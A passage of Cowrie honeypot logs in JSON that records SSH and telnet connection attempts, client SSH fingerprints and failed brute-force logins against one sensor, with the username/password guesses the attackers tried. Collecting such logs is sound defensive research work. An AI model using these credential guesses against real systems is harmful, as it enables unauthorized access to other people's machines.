,"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:46.730103Z","src_ip":"213.209.159.56","session":"716b48ddb61b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn","message":"login attempt [camryn/camryn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:47.131182Z","src_ip":"213.209.159.56","session":"716b48ddb61b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn1","message":"login attempt [camryn/camryn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:48.216593Z","src_ip":"213.209.159.56","session":"716b48ddb61b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn123","message":"login attempt [camryn/camryn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:49.301934Z","src_ip":"213.209.159.56","session":"716b48ddb61b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn1234","message":"login attempt [camryn/camryn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:50.387416Z","src_ip":"213.209.159.56","session":"716b48ddb61b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn12345","message":"login attempt [camryn/camryn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:51.472715Z","src_ip":"213.209.159.56","session":"716b48ddb61b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:52.557486Z","src_ip":"213.209.159.56","session":"716b48ddb61b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":58116,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4c61e000059","protocol":"ssh","message":"New connection: 61.222.211.114:58116 (159.203.135.109:22) [session: f4c61e000059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:04.481448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:04.486051Z","src_ip":"61.222.211.114","session":"f4c61e000059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:04.698096Z","src_ip":"61.222.211.114","session":"f4c61e000059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"citrus","message":"login attempt [root/citrus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:05.577183Z","src_ip":"61.222.211.114","session":"f4c61e000059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:06.791606Z","src_ip":"61.222.211.114","session":"f4c61e000059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":44660,"dst_ip":"159.203.135.109","dst_port":22,"session":"14b5944066ce","protocol":"ssh","message":"New connection: 118.26.36.248:44660 (159.203.135.109:22) [session: 14b5944066ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:10.442603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:10.447548Z","src_ip":"118.26.36.248","session":"14b5944066ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:10.662949Z","src_ip":"118.26.36.248","session":"14b5944066ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hke","message":"login attempt [root/hke] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:11.554368Z","src_ip":"118.26.36.248","session":"14b5944066ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:12.772771Z","src_ip":"118.26.36.248","session":"14b5944066ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44682,"dst_ip":"10.17.0.5","dst_port":22,"session":"5df49beffddd","protocol":"ssh","message":"New connection: 47.86.95.62:44682 (10.17.0.5:22) [session: 5df49beffddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:26.648588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:26.868682Z","src_ip":"47.86.95.62","session":"5df49beffddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":33644,"dst_ip":"10.17.0.5","dst_port":22,"session":"a13b760390f6","protocol":"ssh","message":"New connection: 20.12.41.6:33644 (10.17.0.5:22) [session: a13b760390f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:27.574001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:27.578724Z","src_ip":"20.12.41.6","session":"a13b760390f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:27.597514Z","src_ip":"20.12.41.6","session":"a13b760390f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:27.689828Z","src_ip":"20.12.41.6","session":"a13b760390f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:28.707261Z","src_ip":"20.12.41.6","session":"a13b760390f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.218.206.69","src_port":23758,"dst_ip":"159.203.135.109","dst_port":23,"session":"686956e44646","protocol":"telnet","message":"New connection: 216.218.206.69:23758 (159.203.135.109:23) [session: 686956e44646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:29.148516Z"}
{"eventid":"cowrie.session.closed","duration":2.0741429328918457,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:31.222551Z","src_ip":"216.218.206.69","session":"686956e44646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":50920,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfa7c101c6c1","protocol":"ssh","message":"New connection: 31.59.89.180:50920 (159.203.135.109:22) [session: dfa7c101c6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:34.598349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:34.602416Z","src_ip":"31.59.89.180","session":"dfa7c101c6c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:34.713617Z","src_ip":"31.59.89.180","session":"dfa7c101c6c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rafael","message":"login attempt [root/rafael] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:35.193958Z","src_ip":"31.59.89.180","session":"dfa7c101c6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:36.309324Z","src_ip":"31.59.89.180","session":"dfa7c101c6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":56334,"dst_ip":"10.17.0.5","dst_port":22,"session":"861510659db1","protocol":"ssh","message":"New connection: 43.153.27.162:56334 (10.17.0.5:22) [session: 861510659db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:38.357488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:38.366710Z","src_ip":"43.153.27.162","session":"861510659db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:38.435352Z","src_ip":"43.153.27.162","session":"861510659db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newuser","message":"login attempt [root/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:38.739093Z","src_ip":"43.153.27.162","session":"861510659db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:39.810903Z","src_ip":"43.153.27.162","session":"861510659db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":50840,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9cdaf7191c2","protocol":"ssh","message":"New connection: 209.99.184.143:50840 (159.203.135.109:22) [session: e9cdaf7191c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:53.713089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:53.717635Z","src_ip":"209.99.184.143","session":"e9cdaf7191c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:53.809258Z","src_ip":"209.99.184.143","session":"e9cdaf7191c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatever","message":"login attempt [root/whatever] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:54.208392Z","src_ip":"209.99.184.143","session":"e9cdaf7191c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:59:55.303921Z","src_ip":"209.99.184.143","session":"e9cdaf7191c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:07.031443Z","src_ip":"47.86.95.62","session":"106aca3bf5ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.60.237.211","src_port":45668,"dst_ip":"159.203.135.109","dst_port":23,"session":"03f0adebf0e5","protocol":"telnet","message":"New connection: 41.60.237.211:45668 (159.203.135.109:23) [session: 03f0adebf0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:09.910989Z"}
{"eventid":"cowrie.session.closed","duration":13.53187370300293,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:23.442737Z","src_ip":"41.60.237.211","session":"03f0adebf0e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36020,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d131b8224bd","protocol":"ssh","message":"New connection: 47.86.95.62:36020 (10.17.0.5:22) [session: 5d131b8224bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:27.834103Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":44940,"dst_ip":"159.203.135.109","dst_port":22,"session":"342a4d640cd9","protocol":"ssh","message":"New connection: 118.26.36.248:44940 (159.203.135.109:22) [session: 342a4d640cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:28.812421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:28.819108Z","src_ip":"118.26.36.248","session":"342a4d640cd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:29.035759Z","src_ip":"118.26.36.248","session":"342a4d640cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"citrus","message":"login attempt [root/citrus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:29.932105Z","src_ip":"118.26.36.248","session":"342a4d640cd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:31.153311Z","src_ip":"118.26.36.248","session":"342a4d640cd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":54536,"dst_ip":"159.203.135.109","dst_port":22,"session":"b68f2445b38e","protocol":"ssh","message":"New connection: 61.222.211.114:54536 (159.203.135.109:22) [session: b68f2445b38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:35.279029Z"}
